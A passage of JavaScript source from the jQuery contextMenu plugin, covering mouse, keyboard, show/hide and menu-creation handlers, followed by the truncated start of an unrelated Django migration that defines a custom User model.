var $this = $(this);
// hide any previous menus
if ($currentTrigger && $currentTrigger.length && !$currentTrigger.is($this)) {
$currentTrigger.data('contextMenu').$menu.trigger('contextmenu:hide');
}
// activate on right click
if (e.button == 2) {
$currentTrigger = $this.data('contextMenuActive', true);
}
},
// contextMenu right-click trigger
mouseup: function(e) {
// show menu
var $this = $(this);
if ($this.data('contextMenuActive') && $currentTrigger && $currentTrigger.length && $currentTrigger.is($this) && !$this.hasClass('context-menu-disabled')) {
e.preventDefault();
e.stopImmediatePropagation();
$currentTrigger = $this;
$this.trigger($.Event("contextmenu", { data: e.data, pageX: e.pageX, pageY: e.pageY }));
}
$this.removeData('contextMenuActive');
},
// contextMenu hover trigger
mouseenter: function(e) {
var $this = $(this),
$related = $(e.relatedTarget),
$document = $(document);
// abort if we're coming from a menu
if ($related.is('.context-menu-list') || $related.closest('.context-menu-list').length) {
return;
}
// abort if a menu is shown
if ($currentTrigger && $currentTrigger.length) {
return;
}
hoveract.pageX = e.pageX;
hoveract.pageY = e.pageY;
hoveract.data = e.data;
$document.on('mousemove.contextMenuShow', handle.mousemove);
hoveract.timer = setTimeout(function() {
hoveract.timer = null;
$document.off('mousemove.contextMenuShow');
$currentTrigger = $this;
$this.trigger($.Event("contextmenu", { data: hoveract.data, pageX: hoveract.pageX, pageY: hoveract.pageY }));
}, e.data.delay );
},
// contextMenu hover trigger
mousemove: function(e) {
hoveract.pageX = e.pageX;
hoveract.pageY = e.pageY;
},
// contextMenu hover trigger
mouseleave: function(e) {
// abort if we're leaving for a menu
var $related = $(e.relatedTarget);
if ($related.is('.context-menu-list') || $related.closest('.context-menu-list').length) {
return;
}
try {
clearTimeout(hoveract.timer);
} catch(e) {}
hoveract.timer = null;
},
// click on layer to hide contextMenu
layerClick: function(e) {
var $this = $(this),
root = $this.data('contextMenuRoot'),
mouseup = false,
button = e.button,
x = e.pageX,
y = e.pageY,
target,
offset,
selectors;
e.preventDefault();
e.stopImmediatePropagation();
setTimeout(function() {
var $window, hideshow, possibleTarget;
var triggerAction = ((root.trigger == 'left' && button === 0) || (root.trigger == 'right' && button === 2));
// find the element that would've been clicked, wasn't the layer in the way
if (document.elementFromPoint) {
root.$layer.hide();
target = document.elementFromPoint(x - $win.scrollLeft(), y - $win.scrollTop());
root.$layer.show();
}
if (root.reposition && triggerAction) {
if (document.elementFromPoint) {
if (root.$trigger.is(target) || root.$trigger.has(target).length) {
root.position.call(root.$trigger, root, x, y);
return;
}
} else {
offset = root.$trigger.offset();
$window = $(window);
// while this looks kinda awful, it's the best way to avoid
// unnecessarily calculating any positions
offset.top += $window.scrollTop();
if (offset.top <= e.pageY) {
offset.left += $window.scrollLeft();
if (offset.left <= e.pageX) {
offset.bottom = offset.top + root.$trigger.outerHeight();
if (offset.bottom >= e.pageY) {
offset.right = offset.left + root.$trigger.outerWidth();
if (offset.right >= e.pageX) {
// reposition
root.position.call(root.$trigger, root, x, y);
return;
}
}
}
}
}
}
if (target && triggerAction) {
root.$trigger.one('contextmenu:hidden', function() {
$(target).contextMenu({x: x, y: y});
});
}
root.$menu.trigger('contextmenu:hide');
}, 50);
},
// key handled :hover
keyStop: function(e, opt) {
if (!opt.isInput) {
e.preventDefault();
}
e.stopPropagation();
},
key: function(e) {
var opt = $currentTrigger.data('contextMenu') || {};
switch (e.keyCode) {
case 9:
case 38: // up
handle.keyStop(e, opt);
// if keyCode is [38 (up)] or [9 (tab) with shift]
if (opt.isInput) {
if (e.keyCode == 9 && e.shiftKey) {
e.preventDefault();
opt.$selected && opt.$selected.find('input, textarea, select').blur();
opt.$menu.trigger('prevcommand');
return;
} else if (e.keyCode == 38 && opt.$selected.find('input, textarea, select').prop('type') == 'checkbox') {
// checkboxes don't capture this key
e.preventDefault();
return;
}
} else if (e.keyCode != 9 || e.shiftKey) {
opt.$menu.trigger('prevcommand');
return;
}
// omitting break;
// case 9: // tab - reached through omitted break;
case 40: // down
handle.keyStop(e, opt);
if (opt.isInput) {
if (e.keyCode == 9) {
e.preventDefault();
opt.$selected && opt.$selected.find('input, textarea, select').blur();
opt.$menu.trigger('nextcommand');
return;
} else if (e.keyCode == 40 && opt.$selected.find('input, textarea, select').prop('type') == 'checkbox') {
// checkboxes don't capture this key
e.preventDefault();
return;
}
} else {
opt.$menu.trigger('nextcommand');
return;
}
break;
case 37: // left
handle.keyStop(e, opt);
if (opt.isInput || !opt.$selected || !opt.$selected.length) {
break;
}
if (!opt.$selected.parent().hasClass('context-menu-root')) {
var $parent = opt.$selected.parent().parent();
opt.$selected.trigger('contextmenu:blur');
opt.$selected = $parent;
return;
}
break;
case 39: // right
handle.keyStop(e, opt);
if (opt.isInput || !opt.$selected || !opt.$selected.length) {
break;
}
var itemdata = opt.$selected.data('contextMenu') || {};
if (itemdata.$menu && opt.$selected.hasClass('context-menu-submenu')) {
opt.$selected = null;
itemdata.$selected = null;
itemdata.$menu.trigger('nextcommand');
return;
}
break;
case 35: // end
case 36: // home
if (opt.$selected && opt.$selected.find('input, textarea, select').length) {
return;
} else {
(opt.$selected && opt.$selected.parent() || opt.$menu)
.children(':not(.disabled, .not-selectable)')[e.keyCode == 36 ? 'first' : 'last']()
.trigger('contextmenu:focus');
e.preventDefault();
return;
}
break;
case 13: // enter
handle.keyStop(e, opt);
if (opt.isInput) {
if (opt.$selected && !opt.$selected.is('textarea, select')) {
e.preventDefault();
return;
}
break;
}
opt.$selected && opt.$selected.trigger('mouseup');
return;
case 32: // space
case 33: // page up
case 34: // page down
// prevent browser from scrolling down while menu is visible
handle.keyStop(e, opt);
return;
case 27: // esc
handle.keyStop(e, opt);
opt.$menu.trigger('contextmenu:hide');
return;
default: // 0-9, a-z
var k = (String.fromCharCode(e.keyCode)).toUpperCase();
if (opt.accesskeys[k]) {
// according to the specs accesskeys must be invoked immediately
opt.accesskeys[k].$node.trigger(opt.accesskeys[k].$menu
? 'contextmenu:focus'
: 'mouseup'
);
return;
}
break;
}
// pass event to selected item,
// stop propagation to avoid endless recursion
e.stopPropagation();
opt.$selected && opt.$selected.trigger(e);
},
// select previous possible command in menu
prevItem: function(e) {
e.stopPropagation();
var opt = $(this).data('contextMenu') || {};
// obtain currently selected menu
if (opt.$selected) {
var $s = opt.$selected;
opt = opt.$selected.parent().data('contextMenu') || {};
opt.$selected = $s;
}
var $children = opt.$menu.children(),
$prev = !opt.$selected || !opt.$selected.prev().length ? $children.last() : opt.$selected.prev(),
$round = $prev;
// skip disabled
while ($prev.hasClass('disabled') || $prev.hasClass('not-selectable')) {
if ($prev.prev().length) {
$prev = $prev.prev();
} else {
$prev = $children.last();
}
if ($prev.is($round)) {
// break endless loop
return;
}
}
// leave current
if (opt.$selected) {
handle.itemMouseleave.call(opt.$selected.get(0), e);
}
// activate next
handle.itemMouseenter.call($prev.get(0), e);
// focus input
var $input = $prev.find('input, textarea, select');
if ($input.length) {
$input.focus();
}
},
// select next possible command in menu
nextItem: function(e) {
e.stopPropagation();
var opt = $(this).data('contextMenu') || {};
// obtain currently selected menu
if (opt.$selected) {
var $s = opt.$selected;
opt = opt.$selected.parent().data('contextMenu') || {};
opt.$selected = $s;
}
var $children = opt.$menu.children(),
$next = !opt.$selected || !opt.$selected.next().length ? $children.first() : opt.$selected.next(),
$round = $next;
// skip disabled
while ($next.hasClass('disabled') || $next.hasClass('not-selectable')) {
if ($next.next().length) {
$next = $next.next();
} else {
$next = $children.first();
}
if ($next.is($round)) {
// break endless loop
return;
}
}
// leave current
if (opt.$selected) {
handle.itemMouseleave.call(opt.$selected.get(0), e);
}
// activate next
handle.itemMouseenter.call($next.get(0), e);
// focus input
var $input = $next.find('input, textarea, select');
if ($input.length) {
$input.focus();
}
},
// flag that we're inside an input so the key handler can act accordingly
focusInput: function(e) {
var $this = $(this).closest('.context-menu-item'),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot;
root.$selected = opt.$selected = $this;
root.isInput = opt.isInput = true;
},
// flag that we're inside an input so the key handler can act accordingly
blurInput: function(e) {
var $this = $(this).closest('.context-menu-item'),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot;
root.isInput = opt.isInput = false;
},
// :hover on menu
menuMouseenter: function(e) {
var root = $(this).data().contextMenuRoot;
root.hovering = true;
},
// :hover on menu
menuMouseleave: function(e) {
var root = $(this).data().contextMenuRoot;
if (root.$layer && root.$layer.is(e.relatedTarget)) {
root.hovering = false;
}
},
// :hover done manually so key handling is possible
itemMouseenter: function(e) {
var $this = $(this),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot;
root.hovering = true;
// abort if we're re-entering
if (e && root.$layer && root.$layer.is(e.relatedTarget)) {
e.preventDefault();
e.stopImmediatePropagation();
}
// make sure only one item is selected
(opt.$menu ? opt : root).$menu
.children('.hover').trigger('contextmenu:blur');
if ($this.hasClass('disabled') || $this.hasClass('not-selectable')) {
opt.$selected = null;
return;
}
$this.trigger('contextmenu:focus');
},
// :hover done manually so key handling is possible
itemMouseleave: function(e) {
var $this = $(this),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot;
if (root !== opt && root.$layer && root.$layer.is(e.relatedTarget)) {
root.$selected && root.$selected.trigger('contextmenu:blur');
e.preventDefault();
e.stopImmediatePropagation();
root.$selected = opt.$selected = opt.$node;
return;
}
$this.trigger('contextmenu:blur');
},
// contextMenu item click
itemClick: function(e) {
var $this = $(this),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot,
key = data.contextMenuKey,
callback;
// abort if the key is unknown or disabled or is a menu
if (!opt.items[key] || $this.is('.disabled, .context-menu-submenu, .context-menu-separator, .not-selectable')) {
return;
}
e.preventDefault();
e.stopImmediatePropagation();
if ($.isFunction(root.callbacks[key]) && Object.prototype.hasOwnProperty.call(root.callbacks, key)) {
// item-specific callback
callback = root.callbacks[key];
} else if ($.isFunction(root.callback)) {
// default callback
callback = root.callback;
} else {
// no callback, no action
return;
}
// hide menu if callback doesn't stop that
if (callback.call(root.$trigger, key, root) !== false) {
root.$menu.trigger('contextmenu:hide');
} else if (root.$menu.parent().length) {
op.update.call(root.$trigger, root);
}
},
// ignore click events on input elements
inputClick: function(e) {
e.stopImmediatePropagation();
},
// hide <menu>
hideMenu: function(e, data) {
var root = $(this).data('contextMenuRoot');
op.hide.call(root.$trigger, root, data && data.force);
},
// focus <command>
focusItem: function(e) {
e.stopPropagation();
var $this = $(this),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot;
$this.addClass('hover')
.siblings('.hover').trigger('contextmenu:blur');
// remember selected
opt.$selected = root.$selected = $this;
// position sub-menu - do after show so dumb $.ui.position can keep up
if (opt.$node) {
root.positionSubmenu.call(opt.$node, opt.$menu);
}
},
// blur <command>
blurItem: function(e) {
e.stopPropagation();
var $this = $(this),
data = $this.data(),
opt = data.contextMenu,
root = data.contextMenuRoot;
$this.removeClass('hover');
opt.$selected = null;
}
},
// operations
op = {
show: function(opt, x, y) {
var $trigger = $(this),
offset,
css = {};
// hide any open menus
$('#context-menu-layer').trigger('mousedown');
// backreference for callbacks
opt.$trigger = $trigger;
// show event
if (opt.events.show.call($trigger, opt) === false) {
$currentTrigger = null;
return;
}
// create or update context menu
op.update.call($trigger, opt);
// position menu
opt.position.call($trigger, opt, x, y);
// make sure we're in front
if (opt.zIndex) {
css.zIndex = zindex($trigger) + opt.zIndex;
}
// add layer
op.layer.call(opt.$menu, opt, css.zIndex);
// adjust sub-menu zIndexes
opt.$menu.find('ul').css('zIndex', css.zIndex + 1);
// position and show context menu
opt.$menu.css( css )[opt.animation.show](opt.animation.duration, function() {
$trigger.trigger('contextmenu:visible');
});
// make options available and set state
$trigger
.data('contextMenu', opt)
.addClass("context-menu-active");
// register key handler
$(document).off('keydown.contextMenu').on('keydown.contextMenu', handle.key);
// register autoHide handler
if (opt.autoHide) {
// mouse position handler
$(document).on('mousemove.contextMenuAutoHide', function(e) {
// need to capture the offset on mousemove,
// since the page might've been scrolled since activation
var pos = $trigger.offset();
pos.right = pos.left + $trigger.outerWidth();
pos.bottom = pos.top + $trigger.outerHeight();
if (opt.$layer && !opt.hovering && (!(e.pageX >= pos.left && e.pageX <= pos.right) || !(e.pageY >= pos.top && e.pageY <= pos.bottom))) {
// if mouse in menu...
opt.$menu.trigger('contextmenu:hide');
}
});
}
},
hide: function(opt, force) {
var $trigger = $(this);
if (!opt) {
opt = $trigger.data('contextMenu') || {};
}
// hide event
if (!force && opt.events && opt.events.hide.call($trigger, opt) === false) {
return;
}
// remove options and revert state
$trigger
.removeData('contextMenu')
.removeClass("context-menu-active");
if (opt.$layer) {
// keep layer for a bit so the contextmenu event can be aborted properly by opera
setTimeout((function($layer) {
return function(){
$layer.remove();
};
})(opt.$layer), 10);
try {
delete opt.$layer;
} catch(e) {
opt.$layer = null;
}
}
// remove handle
$currentTrigger = null;
// remove selected
opt.$menu.find('.hover').trigger('contextmenu:blur');
opt.$selected = null;
// unregister key and mouse handlers
//$(document).off('.contextMenuAutoHide keydown.contextMenu'); // http://bugs.jquery.com/ticket/10705
$(document).off('.contextMenuAutoHide').off('keydown.contextMenu');
// hide menu
opt.$menu && opt.$menu[opt.animation.hide](opt.animation.duration, function (){
// tear down dynamically built menu after animation is completed.
if (opt.build) {
opt.$menu.remove();
$.each(opt, function(key, value) {
switch (key) {
case 'ns':
case 'selector':
case 'build':
case 'trigger':
return true;
default:
opt[key] = undefined;
try {
delete opt[key];
} catch (e) {}
return true;
}
});
}
setTimeout(function() {
$trigger.trigger('contextmenu:hidden');
}, 10);
});
},
create: function(opt, root) {
if (root === undefined) {
root = opt;
}
// create contextMenu
opt.$menu = $('<ul class="context-menu-list"></ul>').addClass(opt.className || "").data({
'contextMenu': opt,
'contextMenuRoot': root
});
$.each(['callbacks', 'commands', 'inputs'], function(i,k){
opt[k] = {};
if (!root[k]) {
root[k] = {};
}
});
root.accesskeys || (root.accesskeys = {});
// create contextMenu items
$.each(opt.items, function(key, item){
var $t = $('<li class="context-menu-item"></li>').addClass(item.className || ""),
$label = null,
$input = null;
// iOS needs to see a click-event bound to an element to actually
// have the TouchEvents infrastructure trigger the click event
$t.on('click', $.noop);
item.$node = $t.data({
'contextMenu': opt,
'contextMenuRoot': root,
'contextMenuKey': key
});
// register accesskey
// NOTE: the accesskey attribute should be applicable to any element, but Safari5 and Chrome13 still can't do that
if (item.accesskey) {
var aks = splitAccesskey(item.accesskey);
for (var i=0, ak; ak = aks[i]; i++) {
if (!root.accesskeys[ak]) {
root.accesskeys[ak] = item;
item._name = item.name.replace(new RegExp('(' + ak + ')', 'i'), '<span class="context-menu-accesskey">$1</span>');
break;
}
}
}
if (typeof item == "string") {
$t.addClass('context-menu-separator not-selectable');
} else if (item.type && types[item.type]) {
// run custom type handler
types[item.type].call($t, item, opt, root);
// register commands
$.each([opt, root], function(i,k){
k.commands[key] = item;
if ($.isFunction(item.callback)) {
k.callbacks[key] = item.callback;
}
});
} else {
// add label for input
if (item.type == 'html') {
$t.addClass('context-menu-html not-selectable');
} else if (item.type) {
$label = $('<label></label>').appendTo($t);
$('<span></span>').html(item._name || item.name).appendTo($label);
$t.addClass('context-menu-input');
opt.hasTypes = true;
$.each([opt, root], function(i,k){
k.commands[key] = item;
k.inputs[key] = item;
});
} else if (item.items) {
item.type = 'sub';
}
switch (item.type) {
case 'text':
$input = $('<input type="text" value="1" name="" value="">')
.attr('name', 'context-menu-input-' + key)
.val(item.value || "")
.appendTo($label);
break;
case 'textarea':
$input = $('<textarea name=""></textarea>')
.attr('name', 'context-menu-input-' + key)
.val(item.value || "")
.appendTo($label);
if (item.height) {
$input.height(item.height);
}
break;
case 'checkbox':
$input = $('<input type="checkbox" value="1" name="" value="">')
.attr('name', 'context-menu-input-' + key)
.val(item.value || "")
.prop("checked", !!item.selected)
.prependTo($label);
break;
case 'radio':
$input = $('<input type="radio" value="1" name="" value="">')
.attr('name', 'context-menu-input-' + item.radio)
.val(item.value || "")
.prop("checked", !!item.selected)
.prependTo($label);
break;
case 'select':
$input = $('<select name="">')
.attr('name', 'context-menu-input-' + key)
.appendTo($label);
if (item.options) {
$.each(item.options, function(value, text) {
$('<option></option>').val(value).text(text).appendTo($input);
});
$input.val(item.selected);
}
break;
case 'sub':
// FIXME: shouldn't this .html() be a .text()?
$('<span></span>').html(item._name || item.name).appendTo($t);
item.appendTo = item.$node;
op.create(item, root);
$t.data('contextMenu', item).addClass('context-menu-submenu');
item.callback = null;
break;
case 'html':
$(item.html).appendTo($t);
break;
default:
$.each([opt, root], function(i,k){
k.commands[key] = item;
if ($.isFunction(item.callback)) {
k.callbacks[key] = item.callback;
}
});
// FIXME: shouldn't this .html() be a .text()?
$('<span></span>').html(item._name || item.name || "").appendTo($t);
break;
}
// disable key listener in <input>
if (item.type && item.type != 'sub' && item.type != 'html') {
$input
.on('focus', handle.focusInput)
.on('blur', handle.blurInput);
if (item.events) {
$input.on(item.events, opt);
}
}
// add icons
if (item.icon) {
$t.addClass("icon icon-" + item.icon);
}
}
// cache contained elements
item.$input = $input;
item.$label = $label;
// attach item to menu
$t.appendTo(opt.$menu);
// Disable text selection
if (!opt.hasTypes && $.support.eventSelectstart) {
// browsers support user-select: none,
// IE has a special event for text-selection
// browsers supporting neither will not be preventing text-selection
$t.on('selectstart.disableTextSelect', handle.abortevent);
}
});
// attach contextMenu to <body> (to bypass any possible overflow:hidden issues on parents of the trigger element)
if (!opt.$node) {
opt.$menu.css('display', 'none').addClass('context-menu-root');
}
opt.$menu.appendTo(opt.appendTo || document.body);
},
resize: function($menu, nested) {
// determine widths of submenus, as CSS won't grow them automatically
// position:absolute within position:absolute; min-width:100; max-width:200; results in width: 100;
// kinda sucks hard...
// determine width of absolutely positioned element
$menu.css({position: 'absolute', display: 'block'});
// don't apply yet, because that would break nested elements' widths
// add a pixel to circumvent word-break issue in IE9 - #80
$menu.data('width', Math.ceil($menu.width()) + 1);
// reset styles so they allow nested elements to grow/shrink naturally
$menu.css({
position: 'static',
minWidth: '0px',
maxWidth: '100000px'
});
// identify width of nested menus
$menu.find('> li > ul').each(function() {
op.resize($(this), true);
});
// reset and apply changes in the end because nested
// elements' widths wouldn't be calculatable otherwise
if (!nested) {
$menu.find('ul').andSelf().css({
position: '',
display: '',
minWidth: '',
maxWidth: ''
}).width(function() {
return $(this).data('width');
});
}
},
update: function(opt, root) {
var $trigger = this;
if (root === undefined) {
root = opt;
op.resize(opt.$menu);
}
// re-check disabled for each item
opt.$menu.children().each(function(){
var $item = $(this),
key = $item.data('contextMenuKey'),
item = opt.items[key],
disabled = ($.isFunction(item.disabled) && item.disabled.call($trigger, key, root)) || item.disabled === true;
// dis- / enable item
$item[disabled ? 'addClass' : 'removeClass']('disabled');
if (item.type) {
// dis- / enable input elements
$item.find('input, select, textarea').prop('disabled', disabled);
// update input states
switch (item.type) {
case 'text':
case 'textarea':
item.$input.val(item.value || "");
break;
case 'checkbox':
case 'radio':
item.$input.val(item.value || "").prop('checked', !!item.selected);
break;
case 'select':
item.$input.val(item.selected || "");
break;
}
}
if (item.$menu) {
// update sub-menu
op.update.call($trigger, item, root);
}
});
},
layer: function(opt, zIndex) {
// add transparent layer for click area
// filter and background for Internet Explorer, Issue #23
var $layer = opt.$layer = $('<div id="context-menu-layer" style="position:fixed; z-index:' + zIndex + '; top:0; left:0; opacity: 0; filter: alpha(opacity=0); background-color: #000;"></div>')
.css({height: $win.height(), width: $win.width(), display: 'block'})
.data('contextMenuRoot', opt)
.insertBefore(this)
.on('contextmenu', handle.abortevent)
.on('mousedown', handle.layerClick);
// IE6 doesn't know position:fixed;
if (!$.support.fixedPosition) {
$layer.css({
'position' : 'absolute',
'height' : $(document).height()
});
}
return $layer;
}
};
// split accesskey according to http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#assigned-access-key
function splitAccesskey(val) {
var t = val.split(/\s+/),
keys = [];
for (var i=0, k; k = t[i]; i++) {
k = k[0].toUpperCase(); // first character only
// theoretically non-accessible characters should be ignored, but different systems, different keyboard layouts, ... screw it.
// a map to look up already used access keys would be nice
keys.push(k);
}
return keys;
}
// handle contextMenu triggers
$.fn.contextMenu = function(operation) {
if (operation === undefined) {
this.first().trigger('contextmenu');
} else if (operation.x && operation.y) {
this.first().trigger($.Event("contextmenu", {pageX: operation.x, pageY: operation.y}));
} else if (operation === "hide") {
var $menu = this.data('contextMenu').$menu;
$menu && $menu.trigger('contextmenu:hide');
} else if (operation === "destroy") {
$.contextMenu("destroy", {context: this});
} else if ($.isPlainObject(operation)) {
operation.context = this;
$.contextMenu("create", operation);
} else if (operation) {
this.removeClass('context-menu-disabled');
} else if (!operation) {
this.addClass('context-menu-disabled');
}
return this;
};
// manage contextMenu instances
$.contextMenu = function(operation, options) {
if (typeof operation != 'string') {
options = operation;
operation = 'create';
}
if (typeof options == 'string') {
options = {selector: options};
} else if (options === undefined) {
options = {};
}
// merge with default options
var o = $.extend(true, {}, defaults, options || {});
var $document = $(document);
var $context = $document;
var _hasContext = false;
if (!o.context || !o.context.length) {
o.context = document;
} else {
// you never know what they throw at you...
$context = $(o.context).first();
o.context = $context.get(0);
_hasContext = o.context !== document;
}
switch (operation) {
case 'create':
// no selector no joy
if (!o.selector) {
throw new Error('No selector specified');
}
// make sure internal classes are not bound to
if (o.selector.match(/.context-menu-(list|item|input)($|\s)/)) {
throw new Error('Cannot bind to selector "' + o.selector + '" as it contains a reserved className');
}
if (!o.build && (!o.items || $.isEmptyObject(o.items))) {
throw new Error('No Items specified');
}
counter ++;
o.ns = '.contextMenu' + counter;
if (!_hasContext) {
namespaces[o.selector] = o.ns;
}
menus[o.ns] = o;
// default to right click
if (!o.trigger) {
o.trigger = 'right';
}
if (!initialized) {
// make sure item click is registered first
$document
.on({
'contextmenu:hide.contextMenu': handle.hideMenu,
'prevcommand.contextMenu': handle.prevItem,
'nextcommand.contextMenu': handle.nextItem,
'contextmenu.contextMenu': handle.abortevent,
'mouseenter.contextMenu': handle.menuMouseenter,
'mouseleave.contextMenu': handle.menuMouseleave
}, '.context-menu-list')
.on('mouseup.contextMenu', '.context-menu-input', handle.inputClick)
.on({
'mouseup.contextMenu': handle.itemClick,
'contextmenu:focus.contextMenu': handle.focusItem,
'contextmenu:blur.contextMenu': handle.blurItem,
'contextmenu.contextMenu': handle.abortevent,
'mouseenter.contextMenu': handle.itemMouseenter,
'mouseleave.contextMenu': handle.itemMouseleave
}, '.context-menu-item');
initialized = true;
}
// engage native contextmenu event
$context
.on('contextmenu' + o.ns, o.selector, o, handle.contextmenu);
if (_hasContext) {
// add remove hook, just in case
$context.on('remove' + o.ns, function() {
$(this).contextMenu("destroy");
});
}
switch (o.trigger) {
case 'hover':
$context
.on('mouseenter' + o.ns, o.selector, o, handle.mouseenter)
.on('mouseleave' + o.ns, o.selector, o, handle.mouseleave);
break;
case 'left':
$context.on('click' + o.ns, o.selector, o, handle.click);
break;
/*
default:
// http://www.quirksmode.org/dom/events/contextmenu.html
$document
.on('mousedown' + o.ns, o.selector, o, handle.mousedown)
.on('mouseup' + o.ns, o.selector, o, handle.mouseup);
break;
*/
}
// create menu
if (!o.build) {
op.create(o);
}
break;
case 'destroy':
var $visibleMenu;
if (_hasContext) {
// get proper options
var context = o.context;
$.each(menus, function(ns, o) {
if (o.context !== context) {
return true;
}
$visibleMenu = $('.context-menu-list').filter(':visible');
if ($visibleMenu.length && $visibleMenu.data().contextMenuRoot.$trigger.is($(o.context).find(o.selector))) {
$visibleMenu.trigger('contextmenu:hide', {force: true});
}
try {
if (menus[o.ns].$menu) {
menus[o.ns].$menu.remove();
}
delete menus[o.ns];
} catch(e) {
menus[o.ns] = null;
}
$(o.context).off(o.ns);
return true;
});
} else if (!o.selector) {
$document.off('.contextMenu .contextMenuAutoHide');
$.each(menus, function(ns, o) {
$(o.context).off(o.ns);
});
namespaces = {};
menus = {};
counter = 0;
initialized = false;
$('#context-menu-layer, .context-menu-list').remove();
} else if (namespaces[o.selector]) {
$visibleMenu = $('.context-menu-list').filter(':visible');
if ($visibleMenu.length && $visibleMenu.data().contextMenuRoot.$trigger.is(o.selector)) {
$visibleMenu.trigger('contextmenu:hide', {force: true});
}
try {
if (menus[namespaces[o.selector]].$menu) {
menus[namespaces[o.selector]].$menu.remove();
}
delete menus[namespaces[o.selector]];
} catch(e) {
menus[namespaces[o.selector]] = null;
}
$document.off(namespaces[o.selector]);
}
break;
case 'html5':
// if <command> or <menuitem> are not handled by the browser,
// or options was a bool true,
// initialize $.contextMenu for them
if ((!$.support.htmlCommand && !$.support.htmlMenuitem) || (typeof options == "boolean" && options)) {
$('menu[type="context"]').each(function() {
if (this.id) {
$.contextMenu({
selector: '[contextmenu=' + this.id +']',
items: $.contextMenu.fromMenu(this)
});
}
}).css('display', 'none');
}
break;
default:
throw new Error('Unknown operation "' + operation + '"');
}
return this;
};
// import values into <input> commands
$.contextMenu.setInputValues = function(opt, data) {
if (data === undefined) {
data = {};
}
$.each(opt.inputs, function(key, item) {
switch (item.type) {
case 'text':
case 'textarea':
item.value = data[key] || "";
break;
case 'checkbox':
item.selected = data[key] ? true : false;
break;
case 'radio':
item.selected = (data[item.radio] || "") == item.value ? true : false;
break;
case 'select':
item.selected = data[key] || "";
break;
}
});
};
// export values from <input> commands
$.contextMenu.getInputValues = function(opt, data) {
if (data === undefined) {
data = {};
}
$.each(opt.inputs, function(key, item) {
switch (item.type) {
case 'text':
case 'textarea':
case 'select':
data[key] = item.$input.val();
break;
case 'checkbox':
data[key] = item.$input.prop('checked');
break;
case 'radio':
if (item.$input.prop('checked')) {
data[item.radio] = item.value;
}
break;
}
});
return data;
};
// find <label for="xyz">
function inputLabel(node) {
return (node.id && $('label[for="'+ node.id +'"]').val()) || node.name;
}
// convert <menu> to items object
function menuChildren(items, $children, counter) {
if (!counter) {
counter = 0;
}
$children.each(function() {
var $node = $(this),
node = this,
nodeName = this.nodeName.toLowerCase(),
label,
item;
// extract <label><input>
if (nodeName == 'label' && $node.find('input, textarea, select').length) {
label = $node.text();
$node = $node.children().first();
node = $node.get(0);
nodeName = node.nodeName.toLowerCase();
}
/*
* <menu> accepts flow-content as children. that means <embed>, <canvas> and such are valid menu items.
* Not being the sadistic kind, $.contextMenu only accepts:
* <command>, <menuitem>, <hr>, <span>, <p> <input [text, radio, checkbox]>, <textarea>, <select> and of course <menu>.
* Everything else will be imported as an html node, which is not interfaced with contextMenu.
*/
// http://www.whatwg.org/specs/web-apps/current-work/multipage/commands.html#concept-command
switch (nodeName) {
// http://www.whatwg.org/specs/web-apps/current-work/multipage/interactive-elements.html#the-menu-element
case 'menu':
item = {name: $node.attr('label'), items: {}};
counter = menuChildren(item.items, $node.children(), counter);
break;
// http://www.whatwg.org/specs/web-apps/current-work/multipage/commands.html#using-the-a-element-to-define-a-command
case 'a':
// http://www.whatwg.org/specs/web-apps/current-work/multipage/commands.html#using-the-button-element-to-define-a-command
case 'button':
item = {
name: $node.text(),
disabled: !!$node.attr('disabled'),
callback: (function(){ return function(){ $node.click(); }; })()
};
break;
// http://www.whatwg.org/specs/web-apps/current-work/multipage/commands.html#using-the-command-element-to-define-a-command
case 'menuitem':
case 'command':
switch ($node.attr('type')) {
case undefined:
case 'command':
case 'menuitem':
item = {
name: $node.attr('label'),
disabled: !!$node.attr('disabled'),
callback: (function(){ return function(){ $node.click(); }; })()
};
break;
case 'checkbox':
item = {
type: 'checkbox',
disabled: !!$node.attr('disabled'),
name: $node.attr('label'),
selected: !!$node.attr('checked')
};
break;
case 'radio':
item = {
type: 'radio',
disabled: !!$node.attr('disabled'),
name: $node.attr('label'),
radio: $node.attr('radiogroup'),
value: $node.attr('id'),
selected: !!$node.attr('checked')
};
break;
default:
item = undefined;
}
break;
case 'hr':
item = '-------';
break;
case 'input':
switch ($node.attr('type')) {
case 'text':
item = {
type: 'text',
name: label || inputLabel(node),
disabled: !!$node.attr('disabled'),
value: $node.val()
};
break;
case 'checkbox':
item = {
type: 'checkbox',
name: label || inputLabel(node),
disabled: !!$node.attr('disabled'),
selected: !!$node.attr('checked')
};
break;
case 'radio':
item = {
type: 'radio',
name: label || inputLabel(node),
disabled: !!$node.attr('disabled'),
radio: !!$node.attr('name'),
value: $node.val(),
selected: !!$node.attr('checked')
};
break;
default:
item = undefined;
break;
}
break;
case 'select':
item = {
type: 'select',
name: label || inputLabel(node),
disabled: !!$node.attr('disabled'),
selected: $node.val(),
options: {}
};
$node.children().each(function(){
item.options[this.value] = $(this).text();
});
break;
case 'textarea':
item = {
type: 'textarea',
name: label || inputLabel(node),
disabled: !!$node.attr('disabled'),
value: $node.val()
};
break;
case 'label':
break;
default:
item = {type: 'html', html: $node.clone(true)};
break;
}
if (item) {
counter++;
items['key' + counter] = item;
}
});
return counter;
}
// convert html5 menu
$.contextMenu.fromMenu = function(element) {
var $this = $(element),
items = {};
menuChildren(items, $this.children());
return items;
};
// make defaults accessible
$.contextMenu.defaults = defaults;
$.contextMenu.types = types;
// export internal functions - undocumented, for hacking only!
$.contextMenu.handle = handle;
$.contextMenu.op = op;
$.contextMenu.menus = menus;
})(jQuery);
|
# Generated by Django 2.1.15 on 2022-01-03 03:22
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0009_alter_user_last_name_max_length'),
]
operations = [
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('password', models.CharField(max_length=128, verbose_name='password')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')),
('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')),
('email', models.EmailField(max_length=255, unique=True)),
('name', models.CharField(max_length=255)),
('is_active', models.BooleanField(default=True)),
